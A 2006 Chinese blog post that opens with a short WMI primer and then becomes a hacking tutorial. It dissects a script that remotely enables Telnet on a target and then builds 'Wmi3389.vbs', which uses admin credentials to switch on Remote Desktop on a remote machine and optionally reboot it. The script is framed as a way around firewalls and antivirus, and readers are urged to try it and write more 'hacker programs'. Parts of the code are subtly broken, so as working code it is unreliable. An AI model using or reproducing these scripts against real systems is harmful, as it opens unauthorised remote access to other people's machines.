WMI入门

上一篇 / 下一篇 2006-11-02 10:38:38 / 个人分类：VB技术难点

一：WMI基础知识
====================================================================================
WMI 最初于1998年作为一个附加组件与 Windows NT 4.0 Service Pack 4 一起发行，是内置在Windows 2000、 Windows XP和Windows Server 2003 系列操作系统中核心的管理支持技术。基于由 Distributed Management Task Force (DMTF) 所监督的业界标准，WMI是一种规范和基础结构，通过它可以访问、配置、管理和监视几乎所有的Windows资源。大多用户习惯于使用众多的图形化管理工具来管理Windows资源，在WMI之前这些工具都是通过 Win32应用程序编程接口(Application ProgrammingInterfaces，API)来访问和管理Windows资源的。只要你熟悉系统编程你就知道API有多么重要。但是大多数脚本语言都不能直接调用Win32 API，WMI的出现使得系统管理员可以通过一种简便的方法即利用常见的脚本语言实现常用的系统管理任务。
利用WMI需要和脚本如WSH和VBscrīpt结合起来，可以实现的功能大家可以看微软的MSDN文档。
在编写我们自己的脚本之前，我们需要对WMI的体系结构有个基本的了解。如图一：(1.gif)
在WMI 体系结构中我们最需要关心的就是WMI提供程序，WMI提供程序在WMI和托管资源之间扮演着中间方的角色。提供程序代表使用者应用程序和脚本从WMI托管资源请求信息，并发送指令到WMI托管资源。下面是我们利用WMI编程经常要用到的WMI内置提供程序清单，以供编程参考。
1.Active Directory提供程序
链接库文件：dsprov.dll
命名空间：root\directory\ldap
作用：将Active Directory 对象映射到 WMI。

2.事件日志提供程序
链接库文件：ntevt.dll
命名空间：root\cimv2
作用：管理 Windows 事件日志，例如，读取、备份、清除、复制、删除、监视、重命名、压缩、解压缩和更改事件日志设置。

3.注册表提供程序
链接库文件：stdprov.dll
命名空间：root\default
作用：读取、写入、枚举、监视、创建、删除注册表项和值。

4.Win32 提供程序
链接库文件：cimwin32.dll
命名空间：root\cimv2
作用：提供关于计算机、磁盘、外围设备、文件、文件夹、文件系统、网络组件、操作系统、打印机、进程、安全性、服务、共享、SAM 用户及组，以及更多资源的信息。

5.Windows 安装程序提供程序
链接库文件：msiprov.dll
命名空间：root\cimv2
作用：提供对已安装软件信息的访问。

从上面可以看出在WMI中类（即内置提供程序）被分组到命名空间中，命名空间可以看成是一个组。比如，命名空间 root\cimv2 包括大部分表示通常与计算机和操作系统相关联的资源的类。在使用类的时候要说明类所在的命名空间。类由属性和方法构成。这是可视化编程中的两个重要的概念。属性描述的是对象的状态，方法是对象可以执行的操作。
理论知识学起来很枯燥，下面让我们边分析高手的脚本源码边进行理论知识的巩固吧。

二：解析RTCS.VBS主要代码
=====================================================================================
有时候阅读别人的源码未尝不是一个好而且快捷的办法，下面就让我们来认真学习zzzEVAzzz编写的一个可以远程开启telnet服务的脚本RTCS.VBS。
该脚本可以直接访问目标的WMI,不依赖于目标的ipc$,实现远程开启/关闭目标telnet服务，为了方便大家学习我抽出了最主要的代码，具体分析如下：
set objlocator=createobject("wbemscrīpting.swbemlocator")
//创建Wbemscrīpting.SwbemLocator对象(脚本接口)。
//可以看出WMI其实就是把Com组件Wbemscrīpting.SWbemLocator封装起来罢了。
set objswbemservices=objlocator.connectserver(ipaddress,"root/default",username,password)
//通过ConnectServer函数请求连接到WMI控件服务上，root/default为命名空间。
set objinstance=objswbemservices.get("stdregprov")
//建立访问注册表的实例。
set objmethod=objinstance.methods_("SetDWORDvalue")
//建立可以更改注册表键值的方法。
set objinparam=objmethod.inparameters.spawninstance_()
//MethodData.InParameters用于获取或设置方法的输入参数。这里用spawninstance方法为它建立一个子实例，下面就可以将参数值赋予这个对象的属性。
objinparam.hdefkey=&h80000002
//hdefkey表示根键，根键的十六制值如下：
//HKEY_CLASSES_ROOT (&H80000000)
//HKEY_CURRENT_USER (&H80000001)
//HKEY_LOCAL_MACHINE (&H80000002)
//HKEY_USERS (&H80000003)
//HKEY_CURRENT_CONFIG (&H80000005)
objinparam.ssubkeyname="SOFTWARE\Microsoft\TelnetServer\1.0"
//ssubkeyname表示子键。
objinparam.svaluename="NTLM"
//svaluename表示属性名。
objinparam.uvalue=ntlm
//uvalue表示键值。
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)
//利用execmethod执行方法，这里才真正改写了注册表。

//下面是修改telnet服务的TelnetPort值，原理同上。
objinparam.svaluename="TelnetPort"
objinparam.uvalue=port
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)

修改telnet的注册表部分就完成了，将NTLM和TelnetPort进行了修改，要是对方的telnet服务没有开启呢？下面就需要根据telnet的具体情况，来启动telnet服务，继续看代码。

//首先查询远程主机上tlntsvr的启动方式。
set objswbemservices=objlocator.connectserver(ipaddress,"root\cimv2",username,password)
//win32_service类在root\cimv2命名空间中，作用没忘记吧？快看基础知识呵。
set colinstances=objswbemservices.execquery("select * from win32_service where name='tlntsvr'")
//注意：查询都是通过枚举来实现的。
for each objinstance in colinstances
if objinstance.startmode="Disabled" then
set objmethod=objinstance.methods_("changestartmode")
//创建changestartmode方法来改变tlntsvr的启动方式。
set objinparam=objmethod.inparameters.spawninstance_()
objinparam.startmode="Manual"
//将启动方式改为手动方式。
set objoutparam=objinstance.execmethod_("changestartmode",objinparam)
end if

//下面启动我们的telnet服务。这里zzzEVAzzz的思路好象有点不对，也不知道是不是他的疏忽，我个人认为当telnet服务已经启动时不应该用stopservice方法停止服务。
if objinstance.started=true then
intstatus=objinstance.stopservice()
//stopservice是WMI中用于停止服务实例的服务的方法。
else
intstatus=objinstance.startservice()
end if
next

三：手把手教你编写WMI版本的ROTS.vbs来开启3389
=====================================================================================
zzzVEAzzz 的脚本就分析到这里吧，怎么样？很EASY吧？！我相信大家现在一定蠢蠢欲动了？:)好，一起来写一个什么程序呢？ROTS.vbs我想大家一定都用过吧？什么东东啊？我……砸!大家应该知道这个ROTS是有它的使用条件的，不仅要有管理员帐号，还要允许进行ipc连接，在这个到处都是墙的年代，ipc 早就不实用了，而且ROTS.vbs早就被查杀了，那该怎么办？当然是自己动手了。能不能实现ROTS的一样的远程开启3389的功能而不受ipc的限制呢？答案自从我写了这篇文章后成为肯定的，哈哈，吹吹了。
当然我们也是要求系统至少是2000server及以上的，最近看到有个软件可以给2000pro开3389，由于比较忙，也没怎么去理它，这里我们暂且不说它，知道了原理一样好办。
开启3389有个注册表导入的方法，其它一些软件的开法，我想也大多是通过修改注册表实现的。这个方法需要导入如下的注册表：
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]
"Enabled"="0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ShutdownWithoutLogon"="0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
"EnableAdminTSRemote"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"TSEnabled"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]
"Start"=dword:00000002
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
"Start"=dword:00000002
[HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle]
"Hotkey"="1"

原理知道了就没什么难的了，先理清我们的思路，我们的主要任务是更改注册表里的键值。首先是创建WMI对象，然后是连接到远程WMI服务器，最后修改注册表键值。
部分主要代码如下（完整的代码和详细的注释请看附带的软件包）

on error resume next
//防止出现意外。
set outstreem=wscrīpt.stdout
if (lcase(right(wscrīpt.fullname,11))="wscrīpt.exe") then
set objShell=wscrīpt.createObject("wscrīpt.shell")
objShell.Run("cmd.exe /k cscrīpt //nologo "&chr(34)&wscrīpt.scrīptfullname&chr(34))
//cmd后带/K参数表示执行字符串指定的命令。
wscrīpt.quit
end if
//进行简单的检查。
if wscrīpt.arguments.count<3 then
usage()
wscrīpt.echo "Not enough parameters."
wscrīpt.quit
end if
//取出参数，分别赋予几个变量。
ipaddress=wscrīpt.arguments(0)
username=wscrīpt.arguments(1)
password=wscrīpt.arguments(2)
option=wscrīpt.arguments(3)
usage()

下面是核心代码，也是实现远程修改注册表的功能，我这里给出另外一种实现的方式，对照前面的代码很容易理解，我就只作简单的解释了。详细情况可以参阅MSDN文档中关于StdRegProv类的说明。
（http://msdn.microsoft.com/library/default.asp?url=/library/en-us/wmisdk/wmi/stdregprov.asp）

const HKEY_LOCAL_MACHINE = &H80000002
const HKEY_USERS=&H80000003
strComputer = ipaddress

//获取wmi对象
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")

strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"
strValueName = "Enabled"
strValue=0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
strValueName = "ShutdownWithoutLogon"
strValue=0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = "SOFTWARE\Policies\Microsoft\Windows\Installer"
strValueName = "EnableAdminTSRemote"
strValue=1
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "TSEnabled"
strValue=1
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = "SYSTEM\CurrentControlSet\Services\TermDD"
strValueName = "Start"
strValue=2
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = "SYSTEM\CurrentControlSet\Services\TermService"
strValueName = "Start"
strValue=2
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = ".DEFAULT\Keyboard Layout\Toggle"
strValueName = "Hotkey"
strValue=1
oReg.SetDWORDValue HKEY_USERS,strKeyPath,strValueName,strValue

//下面实现重启远程机器
if option="/r" then
outstreem.write "Now, rebooting target...."
strwmiquery="select * from win32_operatingsystem where primary='true'"
set colinstances=objswbemservices.execquery(strwmiquery)
for each objinstance in colinstances
objinstance.win32shutdown(2)
end if
outstreem.write "Ok, rebooted the target."

//简单的用法说明的函数。
function usage()
wscrīpt.echo string(60,"=")
wscrīpt.echo "Wmi3389 v1.0.0"
wscrīpt.echo "No ipc Open 3389, code written by pye."
wscrīpt.echo "Welcome to visite www.coon.cn or Mail to grandh4408@yahoo.com.cn"
wscrīpt.echo "Usage:"
wscrīpt.echo "cscrīpt "&wscrīpt.scrīptfullname&" targetIP username password [/r]"
wscrīpt.echo "/r reboot the target this is optional"
wscrīpt.echo "It use WMI to Open 3389 of target server."
wscrīpt.echo string(60,"=")&vbcrlf
end function
将上面的代码复制带记事本里，保存为Wmi3389.vbs。然后在CMD里执行：
cscrīpt Wmi3389.vbs ipaddress administrator password [/r]
看看是不是和ROTS.vbs有一样的效果啊？大家赶快实践实践吧。

四：最后的唠叨
=====================================================================================
大家可以看出WMI的功能是很强大的，这里要感谢MicroSoft了，它是永远都不会让我们失望的。WMI对象允许通过VB，VBA，WSH， VBscrīpt， Jscrīpt，ASP，或是支持自动对象的其它环境，对WMI进行完全访问。在参考查询体系中加入 WMI scrīpting V1.1 Library ，则Visual Basic或是VBA方案就可以访问这些对象了。支持ActiveX程序的操作平台可以通过对象类的代号，或是类的名称创建这些对象，这些对象的前缀是Wbemscrīpting，如 Wbemscrīpting.SwbemLocator。所以大家有兴趣的完全可以利用VB，WSH，VBscrīpt， Jscrīpt，ASP等编写更多的利用WMI的黑客程序。

WMI入门

相关阅读: